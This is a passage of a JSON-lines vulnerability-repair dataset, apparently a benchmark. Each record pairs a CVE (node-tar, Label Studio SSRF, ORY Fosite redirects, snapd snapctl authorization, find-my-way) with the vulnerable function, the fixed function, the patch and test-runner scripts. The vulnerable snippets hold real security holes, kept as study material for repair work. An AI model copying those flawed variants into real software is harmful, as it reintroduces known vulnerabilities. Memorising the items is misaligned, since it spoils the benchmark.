case \"NextFileHasLongPath\":\n    case \"OldGnuLongPath\":\n      // set path=<contents> in file-extended header\n      EntryType = BufferEntry\n      onend = function () {\n        self._extended = self._extended || {}\n        self._extended.path = entry.body\n      }\n      ev = \"longPath\"\n      meta = true\n      break\n\n    default:\n      // all the rest we skip, but still set the _entry\n      // member, so that we can skip over their data appropriately.\n      // emit an event to say that this is an ignored entry type?\n      EntryType = Entry\n      ev = \"ignoredEntry\"\n      break\n  }\n\n  var global, extended\n  if (meta) {\n    global = extended = null\n  } else {\n    var global = this._global\n    var extended = this._extended\n\n    // extendedHeader only applies to one entry, so once we start\n    // an entry, it's over.\n    this._extended = null\n  }\n  entry = new EntryType(header, extended, global)\n  entry.meta = meta\n\n  // only proxy data events of normal files.\n  if (!meta) {\n    entry.on(\"data\", function (c) {\n      me.emit(\"data\", c)\n    })\n  }\n\n  if (onend) entry.on(\"end\", onend)\n\n  this._entry = entry\n\n  if (entry.type === \"Link\") {\n    this._hardLinks[entry.path] = entry\n  }\n\n  var me = this\n\n  entry.on(\"pause\", function () {\n    me.pause()\n  })\n\n  entry.on(\"resume\", function () {\n    me.resume()\n  })\n\n  if (this.listeners(\"*\").length) {\n    this.emit(\"*\", ev, entry)\n  }\n\n  this.emit(ev, entry)\n\n  // Zero-byte entry.  End immediately.\n  if (entry.props.size === 0) {\n    entry.end()\n    this._entry = null\n  }\n}"}], "vul_patch": "--- a/lib/parse.js\n+++ b/lib/parse.js\n@@ -112,10 +112,6 @@\n \n   if (onend) entry.on(\"end\", onend)\n \n-  if (entry.type === \"File\" && this._hardLinks[entry.path]) {\n-    ev = \"ignoredEntry\"\n-  }\n-\n   this._entry = entry\n \n   if (entry.type === \"Link\") {\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2018-20834:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/node-tar\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnode ./test/link-file-entry-collision\n", "unit_test_cmd": null}
{"cve_id": "CVE-2023-47116", "cve_description": "Label Studio is a popular open source data labeling tool. The vulnerability affects all versions of Label Studio prior to 1.11.0 and was tested on version 1.8.2. Label Studio's SSRF protections that can be enabled by setting the `SSRF_PROTECTION_ENABLED` environment variable can be bypassed to access internal web servers. This is because the current SSRF validation is done by executing a single DNS lookup to verify that the IP address is not in an excluded subnet range. This protection can be bypassed by either using HTTP redirection or performing a DNS rebinding attack.", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/HumanSignal/label-studio", "patch_url": ["https://github.com/HumanSignal/label-studio/commit/55dd6af4716b92f2bb213fe461d1ffbc380c6a64"], "programing_language": "Python", "vul_func": [{"id": "vul_py_222_1", "commit": "f8b2fb8", "file_path": "label_studio/core/utils/io.py", "start_line": 199, "end_line": 217, "snippet": "def validate_ip(ip: str) -> None:\n    \"\"\"Checks if an IP is local/private.\n\n    :param ip: IP address to be checked.\n    \"\"\"\n\n    if ip == '0.0.0.0':  # nosec\n        raise InvalidUploadUrlError\n\n    local_subnets = [\n        '127.0.0.0/8',\n        '10.0.0.0/8',\n        '172.16.0.0/12',\n        '192.168.0.0/16',\n    ]\n\n    for subnet in local_subnets:\n        if ipaddress.ip_address(ip) in ipaddress.ip_network(subnet):\n            raise InvalidUploadUrlError"}], "fix_func": [{"id": "fix_py_222_1", "commit": "55dd6af", "file_path": "label_studio/core/utils/io.py", "start_line": 199, "end_line": 254, "snippet": "def validate_ip(ip: str) -> None:\n    \"\"\"If settings.USE_DEFAULT_BANNED_SUBNETS is True, this function checks\n    if an IP is reserved for any of the reasons in\n    https://en.wikipedia.org/wiki/Reserved_IP_addresses\n    and raises an exception if so. Additionally, if settings.USER_ADDITIONAL_BANNED_SUBNETS\n    is set, it will also check against those subnets.\n\n    If settings.USE_DEFAULT_BANNED_SUBNETS is False, this function will only check\n    the IP against settings.USER_ADDITIONAL_BANNED_SUBNETS. Turning off the default\n    subnets is **risky** and should only be done if you know what you're doing.\n\n    :param ip: IP address to be checked.\n    \"\"\"\n\n    default_banned_subnets = [\n        '0.0.0.0/8',  # current network\n        '10.0.0.0/8',  # private network\n        '100.64.0.0/10',  # shared address space\n        '127.0.0.0/8',  # loopback\n        '169.254.0.0/16',  # link-local\n        '172.16.0.0/12',  # private network\n        '192.0.0.0/24',  # IETF protocol assignments\n        '192.0.2.0/24',  # TEST-NET-1\n        '192.88.99.0/24',  # Reserved, formerly ipv6 to ipv4 relay\n        '192.168.0.0/16',  # private network\n        '198.18.0.0/15',  # network interconnect device benchmark testing\n        '198.51.100.0/24',  # TEST-NET-2\n        '203.0.113.0/24',  # TEST-NET-3\n        '224.0.0.0/4',  # multicast\n        '233.252.0.0/24',  # MCAST-TEST-NET\n        '240.0.0.0/4',  # reserved for future use\n        '255.255.255.255/32',  # limited broadcast\n        '::/128',  # unspecified address\n        '::1/128',  # loopback\n        '::ffff:0:0/96',  # IPv4-mapped address\n        '::ffff:0:0:0/96',  # IPv4-translated address\n        '64:ff9b::/96',  # IPv4/IPv6 translation\n        '64:ff9b:1::/48',  # IPv4/IPv6 translation\n        '100::/64',  # discard prefix\n        '2001:0000::/32',  # Teredo tunneling\n        '2001:20::/28',  # ORCHIDv2\n        '2001:db8::/32',  # documentation\n        '2002::/16',  # 6to4\n        'fc00::/7',  # unique local\n        'fe80::/10',  # link-local\n        'ff00::/8',  # multicast\n    ]\n\n    banned_subnets = [\n        *(default_banned_subnets if settings.USE_DEFAULT_BANNED_SUBNETS else []),\n        *(settings.USER_ADDITIONAL_BANNED_SUBNETS or []),\n    ]\n\n    for subnet in banned_subnets:\n        if ipaddress.ip_address(ip) in ipaddress.ip_network(subnet):\n            raise InvalidUploadUrlError(f'URL resolves to a reserved network address (block: {subnet})')"}], "vul_patch": "--- a/label_studio/core/utils/io.py\n+++ b/label_studio/core/utils/io.py\n@@ -1,19 +1,56 @@\n def validate_ip(ip: str) -> None:\n-    \"\"\"Checks if an IP is local/private.\n+    \"\"\"If settings.USE_DEFAULT_BANNED_SUBNETS is True, this function checks\n+    if an IP is reserved for any of the reasons in\n+    https://en.wikipedia.org/wiki/Reserved_IP_addresses\n+    and raises an exception if so. Additionally, if settings.USER_ADDITIONAL_BANNED_SUBNETS\n+    is set, it will also check against those subnets.\n+\n+    If settings.USE_DEFAULT_BANNED_SUBNETS is False, this function will only check\n+    the IP against settings.USER_ADDITIONAL_BANNED_SUBNETS. Turning off the default\n+    subnets is **risky** and should only be done if you know what you're doing.\n \n     :param ip: IP address to be checked.\n     \"\"\"\n \n-    if ip == '0.0.0.0':  # nosec\n-        raise InvalidUploadUrlError\n-\n-    local_subnets = [\n-        '127.0.0.0/8',\n-        '10.0.0.0/8',\n-        '172.16.0.0/12',\n-        '192.168.0.0/16',\n+    default_banned_subnets = [\n+        '0.0.0.0/8',  # current network\n+        '10.0.0.0/8',  # private network\n+        '100.64.0.0/10',  # shared address space\n+        '127.0.0.0/8',  # loopback\n+        '169.254.0.0/16',  # link-local\n+        '172.16.0.0/12',  # private network\n+        '192.0.0.0/24',  # IETF protocol assignments\n+        '192.0.2.0/24',  # TEST-NET-1\n+        '192.88.99.0/24',  # Reserved, formerly ipv6 to ipv4 relay\n+        '192.168.0.0/16',  # private network\n+        '198.18.0.0/15',  # network interconnect device benchmark testing\n+        '198.51.100.0/24',  # TEST-NET-2\n+        '203.0.113.0/24',  # TEST-NET-3\n+        '224.0.0.0/4',  # multicast\n+        '233.252.0.0/24',  # MCAST-TEST-NET\n+        '240.0.0.0/4',  # reserved for future use\n+        '255.255.255.255/32',  # limited broadcast\n+        '::/128',  # unspecified address\n+        '::1/128',  # loopback\n+        '::ffff:0:0/96',  # IPv4-mapped address\n+        '::ffff:0:0:0/96',  # IPv4-translated address\n+        '64:ff9b::/96',  # IPv4/IPv6 translation\n+        '64:ff9b:1::/48',  # IPv4/IPv6 translation\n+        '100::/64',  # discard prefix\n+        '2001:0000::/32',  # Teredo tunneling\n+        '2001:20::/28',  # ORCHIDv2\n+        '2001:db8::/32',  # documentation\n+        '2002::/16',  # 6to4\n+        'fc00::/7',  # unique local\n+        'fe80::/10',  # link-local\n+        'ff00::/8',  # multicast\n     ]\n \n-    for subnet in local_subnets:\n+    banned_subnets = [\n+        *(default_banned_subnets if settings.USE_DEFAULT_BANNED_SUBNETS else []),\n+        *(settings.USER_ADDITIONAL_BANNED_SUBNETS or []),\n+    ]\n+\n+    for subnet in banned_subnets:\n         if ipaddress.ip_address(ip) in ipaddress.ip_network(subnet):\n-            raise InvalidUploadUrlError\n+            raise InvalidUploadUrlError(f'URL resolves to a reserved network address (block: {subnet})')\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-15234", "cve_description": "ORY Fosite is a security first OAuth2 & OpenID Connect framework for Go. In Fosite before version 0.34.1, the OAuth 2.0 Client's registered redirect URLs and the redirect URL provided at the OAuth2 Authorization Endpoint where compared using strings.ToLower while they should have been compared with a simple string match. This allows an attacker to register a client with allowed redirect URL https://example.com/callback. Then perform an OAuth2 flow and requesting redirect URL https://example.com/CALLBACK. Instead of an error (invalid redirect URL), the browser is redirected to https://example.com/CALLBACK with a potentially successful OAuth2 response, depending on the state of the overall OAuth2 flow (the user might still deny the request for example). This vulnerability has been patched in ORY Fosite v0.34.1.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/ory/fosite", "patch_url": ["https://github.com/ory/fosite/commit/cdee51ebe721bfc8acca0fd0b86b030ca70867bf"], "programing_language": "Go", "vul_func": [{"id": "vul_go_178_1", "commit": "eb87048", "file_path": "authorize_helper.go", "start_line": 114, "end_line": 126, "snippet": "func isMatchingRedirectURI(uri string, haystack []string) bool {\n\trequested, err := url.Parse(uri)\n\tif err != nil {\n\t\treturn false\n\t}\n\n\tfor _, b := range haystack {\n\t\tif strings.ToLower(b) == strings.ToLower(uri) || isLoopbackURI(requested, b) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}"}, {"id": "vul_go_178_2", "commit": "eb87048", "file_path": "authorize_helper.go", "start_line": 128, "end_line": 143, "snippet": "func isLoopbackURI(requested *url.URL, registeredURI string) bool {\n\tregistered, err := url.Parse(registeredURI)\n\tif err != nil {\n\t\treturn false\n\t}\n\n\tif registered.Scheme != \"http\" || !isLoopbackAddress(registered.Host) {\n\t\treturn false\n\t}\n\n\tif requested.Scheme == \"http\" && isLoopbackAddress(requested.Host) && registered.Path == requested.Path {\n\t\treturn true\n\t}\n\n\treturn false\n}"}], "fix_func": [{"id": "fix_go_178_1", "commit": "cdee51e", "file_path": "authorize_helper.go", "start_line": 114, "end_line": 126, "snippet": "func isMatchingRedirectURI(uri string, haystack []string) bool {\n\trequested, err := url.Parse(uri)\n\tif err != nil {\n\t\treturn false\n\t}\n\n\tfor _, b := range haystack {\n\t\tif b == uri || isMatchingAsLoopback(requested, b) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}"}, {"id": "fix_go_178_2", "commit": "cdee51e", "file_path": "authorize_helper.go", "start_line": 128, "end_line": 153, "snippet": "func isMatchingAsLoopback(requested *url.URL, registeredURI string) bool {\n\tregistered, err := url.Parse(registeredURI)\n\tif err != nil {\n\t\treturn false\n\t}\n\n\t// Native apps that are able to open a port on the loopback network\n\t// interface without needing special permissions (typically, those on\n\t// desktop operating systems) can use the loopback interface to receive\n\t// the OAuth redirect.\n\t//\n\t// Loopback redirect URIs use the \"http\" scheme and are constructed with\n\t// the loopback IP literal and whatever port the client is listening on.\n\t//\n\t// Source: https://tools.ietf.org/html/rfc8252#section-7.3\n\tif requested.Scheme == \"http\" &&\n\t\tisLoopbackAddress(requested.Host) &&\n\t\tregistered.Hostname() == requested.Hostname() &&\n\t\t// The port is skipped here - see codedoc above!\n\t\tregistered.Path == requested.Path &&\n\t\tregistered.RawQuery == requested.RawQuery {\n\t\treturn true\n\t}\n\n\treturn false\n}"}], "vul_patch": "--- a/authorize_helper.go\n+++ b/authorize_helper.go\n@@ -5,7 +5,7 @@\n \t}\n \n \tfor _, b := range haystack {\n-\t\tif strings.ToLower(b) == strings.ToLower(uri) || isLoopbackURI(requested, b) {\n+\t\tif b == uri || isMatchingAsLoopback(requested, b) {\n \t\t\treturn true\n \t\t}\n \t}\n\n--- a/authorize_helper.go\n+++ b/authorize_helper.go\n@@ -1,14 +1,24 @@\n-func isLoopbackURI(requested *url.URL, registeredURI string) bool {\n+func isMatchingAsLoopback(requested *url.URL, registeredURI string) bool {\n \tregistered, err := url.Parse(registeredURI)\n \tif err != nil {\n \t\treturn false\n \t}\n \n-\tif registered.Scheme != \"http\" || !isLoopbackAddress(registered.Host) {\n-\t\treturn false\n-\t}\n-\n-\tif requested.Scheme == \"http\" && isLoopbackAddress(requested.Host) && registered.Path == requested.Path {\n+\t// Native apps that are able to open a port on the loopback network\n+\t// interface without needing special permissions (typically, those on\n+\t// desktop operating systems) can use the loopback interface to receive\n+\t// the OAuth redirect.\n+\t//\n+\t// Loopback redirect URIs use the \"http\" scheme and are constructed with\n+\t// the loopback IP literal and whatever port the client is listening on.\n+\t//\n+\t// Source: https://tools.ietf.org/html/rfc8252#section-7.3\n+\tif requested.Scheme == \"http\" &&\n+\t\tisLoopbackAddress(requested.Host) &&\n+\t\tregistered.Hostname() == requested.Hostname() &&\n+\t\t// The port is skipped here - see codedoc above!\n+\t\tregistered.Path == requested.Path &&\n+\t\tregistered.RawQuery == requested.RawQuery {\n \t\treturn true\n \t}\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-5138", "cve_description": "The snapctl component within snapd allows a confined snap to interact with the snapd daemon to take certain privileged actions on behalf of the snap. It was found that snapctl did not properly parse command-line arguments, allowing an unprivileged user to trigger an authorised action on behalf of the snap that would normally require administrator privileges to perform. This could possibly allow an unprivileged user to perform a denial of service or similar.", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/canonical/snapd", "patch_url": ["https://github.com/canonical/snapd/commit/68ee9c6aa916ab87dbfd9a26030690f2cabf1e14"], "programing_language": "Go", "vul_func": [{"id": "vul_go_10_1", "commit": "8410608", "file_path": "overlord/hookstate/ctlcmd/ctlcmd.go", "start_line": 183, "end_line": 193, "snippet": "func isAllowedToRun(uid uint32, args []string) bool {\n\t// A command can run if any of the following are true:\n\t//\t* It runs as root\n\t//\t* It's contained in nonRootAllowed\n\t//\t* It's used with the -h or --help flags\n\t// note: commands still need valid context and snaps can only access own config.\n\treturn uid == 0 ||\n\t\tstrutil.ListContains(nonRootAllowed, args[0]) ||\n\t\tstrutil.ListContains(args, \"-h\") ||\n\t\tstrutil.ListContains(args, \"--help\")\n}"}], "fix_func": [{"id": "fix_go_10_1", "commit": "68ee9c6", "file_path": "overlord/hookstate/ctlcmd/ctlcmd.go", "start_line": 186, "end_line": 215, "snippet": "func isAllowedToRun(uid uint32, args []string) bool {\n\t// Root can run all snapctl commands.\n\tif uid == 0 {\n\t\treturn true\n\t}\n\n\tfor idx, arg := range args {\n\t\t// A number of sub-commands are allowed to be executed by non-root users.\n\t\tif idx == 0 && strutil.ListContains(nonRootAllowed, arg) {\n\t\t\treturn true\n\t\t}\n\n\t\t// Invoking help is always allowed.\n\t\tif arg == \"-h\" || arg == \"--help\" {\n\t\t\treturn true\n\t\t}\n\n\t\t// Note that we are not interrupting parsing after the first non-option\n\t\t// argument (POSIX style), because we want to cater to the use case of\n\t\t// the user appending --help or -h at the end of the command and still\n\t\t// getting something useful. The only exception is the condition below.\n\n\t\t// The explicit termination argument terminates parsing.\n\t\tif arg == \"--\" {\n\t\t\tbreak\n\t\t}\n\t}\n\n\treturn false\n}"}], "vul_patch": "--- a/overlord/hookstate/ctlcmd/ctlcmd.go\n+++ b/overlord/hookstate/ctlcmd/ctlcmd.go\n@@ -1,11 +1,30 @@\n func isAllowedToRun(uid uint32, args []string) bool {\n-\t// A command can run if any of the following are true:\n-\t//\t* It runs as root\n-\t//\t* It's contained in nonRootAllowed\n-\t//\t* It's used with the -h or --help flags\n-\t// note: commands still need valid context and snaps can only access own config.\n-\treturn uid == 0 ||\n-\t\tstrutil.ListContains(nonRootAllowed, args[0]) ||\n-\t\tstrutil.ListContains(args, \"-h\") ||\n-\t\tstrutil.ListContains(args, \"--help\")\n+\t// Root can run all snapctl commands.\n+\tif uid == 0 {\n+\t\treturn true\n+\t}\n+\n+\tfor idx, arg := range args {\n+\t\t// A number of sub-commands are allowed to be executed by non-root users.\n+\t\tif idx == 0 && strutil.ListContains(nonRootAllowed, arg) {\n+\t\t\treturn true\n+\t\t}\n+\n+\t\t// Invoking help is always allowed.\n+\t\tif arg == \"-h\" || arg == \"--help\" {\n+\t\t\treturn true\n+\t\t}\n+\n+\t\t// Note that we are not interrupting parsing after the first non-option\n+\t\t// argument (POSIX style), because we want to cater to the use case of\n+\t\t// the user appending --help or -h at the end of the command and still\n+\t\t// getting something useful. The only exception is the condition below.\n+\n+\t\t// The explicit termination argument terminates parsing.\n+\t\tif arg == \"--\" {\n+\t\t\tbreak\n+\t\t}\n+\t}\n+\n+\treturn false\n }\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-5138:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/snapd\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test  -timeout 30s -run ^Test$ github.com/snapcore/snapd/overlord/hookstate/ctlcmd\n", "unit_test_cmd": null}
{"cve_id": "CVE-2020-7764", "cve_description": "This affects the package find-my-way before 2.2.5, from 3.0.0 and before 3.0.5. It accepts the Accept-Version' header by default, and if versioned routes are not being used, this could lead to a denial of service. Accept-Version can be used as an unkeyed header in a cache poisoning attack.", "cwe_info": {"CWE-444": {"name": "Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')", "description": "The product acts as an intermediary HTTP agent\n         (such as a proxy or firewall) in the data flow between two\n         entities such as a client and server, but it does not\n         interpret malformed HTTP requests or responses in ways that\n         are consistent with how the messages will be processed by\n         those entities that are at the ultimate destination."}}, "repo": "https://github.com/delvedor/find-my-way", "patch_url": ["https://github.com/delvedor/find-my-way/commit/ab408354690e6b9cf3c4724befb3b3fa4bb90aac"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_65_1", "commit": "b9337ca", "file_path": "index.js", "start_line": 30, "end_line": 57, "snippet": "function Router (opts) {\n  if (!(this instanceof Router)) {\n    return new Router(opts)\n  }\n  opts = opts || {}\n\n  if (opts.defaultRoute) {\n    assert(typeof opts.defaultRoute === 'function', 'The default route must be a function')\n    this.defaultRoute = opts.defaultRoute\n  } else {\n    this.defaultRoute = null\n  }\n\n  if (opts.onBadUrl) {\n    assert(typeof opts.onBadUrl === 'function', 'The bad url handler must be a function')\n    this.onBadUrl = opts.onBadUrl\n  } else {\n    this.onBadUrl = null\n  }\n\n  this.caseSensitive = opts.caseSensitive === undefined ? true : opts.caseSensitive\n  this.ignoreTrailingSlash = opts.ignoreTrailingSlash || false\n  this.maxParamLength = opts.maxParamLength || 100\n  this.allowUnsafeRegex = opts.allowUnsafeRegex || false\n  this.versioning = opts.versioning || acceptVersionStrategy\n  this.trees = {}\n  this.routes = []\n}"}, {"id": "vul_js_65_2", "commit": "b9337ca", "file_path": "index.js", "start_line": 85, "end_line": 195, "snippet": "Router.prototype._on = function _on (method, path, opts, handler, store) {\n  if (Array.isArray(method)) {\n    for (var k = 0; k < method.length; k++) {\n      this._on(method[k], path, opts, handler, store)\n    }\n    return\n  }\n\n  // method validation\n  assert(typeof method === 'string', 'Method should be a string')\n  assert(httpMethods.indexOf(method) !== -1, `Method '${method}' is not an http method.`)\n\n  // version validation\n  if (opts.version !== undefined) {\n    assert(typeof opts.version === 'string', 'Version should be a string')\n  }\n\n  const params = []\n  var j = 0\n\n  this.routes.push({\n    method: method,\n    path: path,\n    opts: opts,\n    handler: handler,\n    store: store\n  })\n\n  const version = opts.version\n\n  for (var i = 0, len = path.length; i < len; i++) {\n    // search for parametric or wildcard routes\n    // parametric route\n    if (path.charCodeAt(i) === 58) {\n      var nodeType = NODE_TYPES.PARAM\n      j = i + 1\n      var staticPart = path.slice(0, i)\n\n      if (this.caseSensitive === false) {\n        staticPart = staticPart.toLowerCase()\n      }\n\n      // add the static part of the route to the tree\n      this._insert(method, staticPart, NODE_TYPES.STATIC, null, null, null, null, version)\n\n      // isolate the parameter name\n      var isRegex = false\n      while (i < len && path.charCodeAt(i) !== 47) {\n        isRegex = isRegex || path[i] === '('\n        if (isRegex) {\n          i = getClosingParenthensePosition(path, i) + 1\n          break\n        } else if (path.charCodeAt(i) !== 45) {\n          i++\n        } else {\n          break\n        }\n      }\n\n      if (isRegex && (i === len || path.charCodeAt(i) === 47)) {\n        nodeType = NODE_TYPES.REGEX\n      } else if (i < len && path.charCodeAt(i) !== 47) {\n        nodeType = NODE_TYPES.MULTI_PARAM\n      }\n\n      var parameter = path.slice(j, i)\n      var regex = isRegex ? parameter.slice(parameter.indexOf('('), i) : null\n      if (isRegex) {\n        regex = new RegExp(regex)\n        if (!this.allowUnsafeRegex) {\n          assert(isRegexSafe(regex), `The regex '${regex.toString()}' is not safe!`)\n        }\n      }\n      params.push(parameter.slice(0, isRegex ? parameter.indexOf('(') : i))\n\n      path = path.slice(0, j) + path.slice(i)\n      i = j\n      len = path.length\n\n      // if the path is ended\n      if (i === len) {\n        var completedPath = path.slice(0, i)\n        if (this.caseSensitive === false) {\n          completedPath = completedPath.toLowerCase()\n        }\n        return this._insert(method, completedPath, nodeType, params, handler, store, regex, version)\n      }\n      // add the parameter and continue with the search\n      staticPart = path.slice(0, i)\n      if (this.caseSensitive === false) {\n        staticPart = staticPart.toLowerCase()\n      }\n      this._insert(method, staticPart, nodeType, params, null, null, regex, version)\n\n      i--\n    // wildcard route\n    } else if (path.charCodeAt(i) === 42) {\n      this._insert(method, path.slice(0, i), NODE_TYPES.STATIC, null, null, null, null, version)\n      // add the wildcard parameter\n      params.push('*')\n      return this._insert(method, path.slice(0, len), NODE_TYPES.MATCH_ALL, params, handler, store, null, version)\n    }\n  }\n\n  if (this.caseSensitive === false) {\n    path = path.toLowerCase()\n  }\n\n  // static route\n  this._insert(method, path, NODE_TYPES.STATIC, params, handler, store, null, version)\n}"}, {"id": "vul_js_65_3", "commit": "b9337ca", "file_path": "lib/accept-version.js", "start_line": 5, "end_line": 10, "snippet": "module.exports = {\n  storage: SemVerStore,\n  deriveVersion: function (req, ctx) {\n    return req.headers['accept-version']\n  }\n}"}], "fix_func": [{"id": "fix_js_65_1", "commit": "ab408354690e6b9cf3c4724befb3b3fa4bb90aac", "file_path": "index.js", "start_line": 30, "end_line": 57, "snippet": "function Router (opts) {\n  if (!(this instanceof Router)) {\n    return new Router(opts)\n  }\n  opts = opts || {}\n\n  if (opts.defaultRoute) {\n    assert(typeof opts.defaultRoute === 'function', 'The default route must be a function')\n    this.defaultRoute = opts.defaultRoute\n  } else {\n    this.defaultRoute = null\n  }\n\n  if (opts.onBadUrl) {\n    assert(typeof opts.onBadUrl === 'function', 'The bad url handler must be a function')\n    this.onBadUrl = opts.onBadUrl\n  } else {\n    this.onBadUrl = null\n  }\n\n  this.caseSensitive = opts.caseSensitive === undefined ? true : opts.caseSensitive\n  this.ignoreTrailingSlash = opts.ignoreTrailingSlash || false\n  this.maxParamLength = opts.maxParamLength || 100\n  this.allowUnsafeRegex = opts.allowUnsafeRegex || false\n  this.versioning = opts.versioning || acceptVersionStrategy(false)\n  this.trees = {}\n  this.routes = []\n}"}, {"id": "fix_js_65_2", "commit": "ab408354690e6b9cf3c4724befb3b3fa4bb90aac", "file_path": "index.js", "start_line": 85, "end_line": 198, "snippet": "Router.prototype._on = function _on (method, path, opts, handler, store) {\n  if (Array.isArray(method)) {\n    for (var k = 0; k < method.length; k++) {\n      this._on(method[k], path, opts, handler, store)\n    }\n    return\n  }\n\n  // method validation\n  assert(typeof method === 'string', 'Method should be a string')\n  assert(httpMethods.indexOf(method) !== -1, `Method '${method}' is not an http method.`)\n\n  // version validation\n  if (opts.version !== undefined) {\n    assert(typeof opts.version === 'string', 'Version should be a string')\n  }\n\n  const params = []\n  var j = 0\n\n  this.routes.push({\n    method: method,\n    path: path,\n    opts: opts,\n    handler: handler,\n    store: store\n  })\n\n  const version = opts.version\n  if (version != null && this.versioning.disabled) {\n    this.versioning = acceptVersionStrategy(true)\n  }\n\n  for (var i = 0, len = path.length; i < len; i++) {\n    // search for parametric or wildcard routes\n    // parametric route\n    if (path.charCodeAt(i) === 58) {\n      var nodeType = NODE_TYPES.PARAM\n      j = i + 1\n      var staticPart = path.slice(0, i)\n\n      if (this.caseSensitive === false) {\n        staticPart = staticPart.toLowerCase()\n      }\n\n      // add the static part of the route to the tree\n      this._insert(method, staticPart, NODE_TYPES.STATIC, null, null, null, null, version)\n\n      // isolate the parameter name\n      var isRegex = false\n      while (i < len && path.charCodeAt(i) !== 47) {\n        isRegex = isRegex || path[i] === '('\n        if (isRegex) {\n          i = getClosingParenthensePosition(path, i) + 1\n          break\n        } else if (path.charCodeAt(i) !== 45) {\n          i++\n        } else {\n          break\n        }\n      }\n\n      if (isRegex && (i === len || path.charCodeAt(i) === 47)) {\n        nodeType = NODE_TYPES.REGEX\n      } else if (i < len && path.charCodeAt(i) !== 47) {\n        nodeType = NODE_TYPES.MULTI_PARAM\n      }\n\n      var parameter = path.slice(j, i)\n      var regex = isRegex ? parameter.slice(parameter.indexOf('('), i) : null\n      if (isRegex) {\n        regex = new RegExp(regex)\n        if (!this.allowUnsafeRegex) {\n          assert(isRegexSafe(regex), `The regex '${regex.toString()}' is not safe!`)\n        }\n      }\n      params.push(parameter.slice(0, isRegex ? parameter.indexOf('(') : i))\n\n      path = path.slice(0, j) + path.slice(i)\n      i = j\n      len = path.length\n\n      // if the path is ended\n      if (i === len) {\n        var completedPath = path.slice(0, i)\n        if (this.caseSensitive === false) {\n          completedPath = completedPath.toLowerCase()\n        }\n        return this._insert(method, completedPath, nodeType, params, handler, store, regex, version)\n      }\n      // add the parameter and continue with the search\n      staticPart = path.slice(0, i)\n      if (this.caseSensitive === false) {\n        staticPart = staticPart.toLowerCase()\n      }\n      this._insert(method, staticPart, nodeType, params, null, null, regex, version)\n\n      i--\n    // wildcard route\n    } else if (path.charCodeAt(i) === 42) {\n      this._insert(method, path.slice(0, i), NODE_TYPES.STATIC, null, null, null, null, version)\n      // add the wildcard parameter\n      params.push('*')\n      return this._insert(method, path.slice(0, len), NODE_TYPES.MATCH_ALL, params, handler, store, null, version)\n    }\n  }\n\n  if (this.caseSensitive === false) {\n    path = path.toLowerCase()\n  }\n\n  // static route\n  this._insert(method, path, NODE_TYPES.STATIC, params, handler, store, null, version)\n}"}, {"id": "fix_js_65_3", "commit": "ab408354690e6b9cf3c4724befb3b3fa4bb90aac", "file_path": "lib/accept-version.js", "start_line": 5, "end_line": 21, "snippet": "function build (enabled) {\n  if (enabled) {\n    return {\n      storage: SemVerStore,\n      deriveVersion: function (req, ctx) {\n        return req.headers['accept-version']\n      }\n    }\n  }\n  return {\n    storage: SemVerStore,\n    deriveVersion: function (req, ctx) {},\n    disabled: true\n  }\n}\n\nmodule.exports = build"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -22,7 +22,7 @@\n   this.ignoreTrailingSlash = opts.ignoreTrailingSlash || false\n   this.maxParamLength = opts.maxParamLength || 100\n   this.allowUnsafeRegex = opts.allowUnsafeRegex || false\n-  this.versioning = opts.versioning || acceptVersionStrategy\n+  this.versioning = opts.versioning || acceptVersionStrategy(false)\n   this.trees = {}\n   this.routes = []\n }\n\n--- a/index.js\n+++ b/index.js\n@@ -27,6 +27,9 @@\n   })\n \n   const version = opts.version\n+  if (version != null && this.versioning.disabled) {\n+    this.versioning = acceptVersionStrategy(true)\n+  }\n \n   for (var i = 0, len = path.length; i < len; i++) {\n     // search for parametric or wildcard routes\n\n--- a/lib/accept-version.js\n+++ b/lib/accept-version.js\n@@ -1,6 +1,17 @@\n-module.exports = {\n-  storage: SemVerStore,\n-  deriveVersion: function (req, ctx) {\n-    return req.headers['accept-version']\n+function build (enabled) {\n+  if (enabled) {\n+    return {\n+      storage: SemVerStore,\n+      deriveVersion: function (req, ctx) {\n+        return req.headers['accept-version']\n+      }\n+    }\n+  }\n+  return {\n+    storage: SemVerStore,\n+    deriveVersion: function (req, ctx) {},\n+    disabled: true\n   }\n }\n+\n+module.exports = build\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-7764:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/find-my-way\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnode test/version.default-versioning.test.js\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-7764:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/find-my-way\ngit apply --whitespace=nowarn /workspace/fix.patch\nnpx mocha test/version.default-versioning.test.js \n"}
